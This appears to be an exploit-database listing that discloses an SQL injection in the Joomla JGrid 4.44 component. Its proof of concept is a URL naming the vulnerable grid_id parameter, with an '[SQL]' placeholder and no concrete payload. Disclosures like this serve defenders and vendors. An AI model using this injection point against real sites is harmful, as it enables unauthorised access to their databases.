Joomla JGrid 4.44 SQL Injection Vulnerability

# Exploit Title: Joomla Component JGrid 4.44 - SQL Injection
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM (Mojtaba Kazemi)
# Vendor Home : https://extensions.joomla.org/extensions/extension/core-enhancements/data-reports/jgrid/
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Tested on: Linux
# Date: 2017-05-01
 
# POC :
# grid_id Parameter Vulnerable to SQL Injection:
http://www.target.comindex.php?option=com_jgrid&task=read_combo&controller=jgrid_documents&format=ajax&grid_id=[SQL]
 
# Greetz : T3NZOG4N & FireKernel And All Persian Hack Team Members
# Iranian White Hat Hackers

#  0day.today [2018-02-20]  #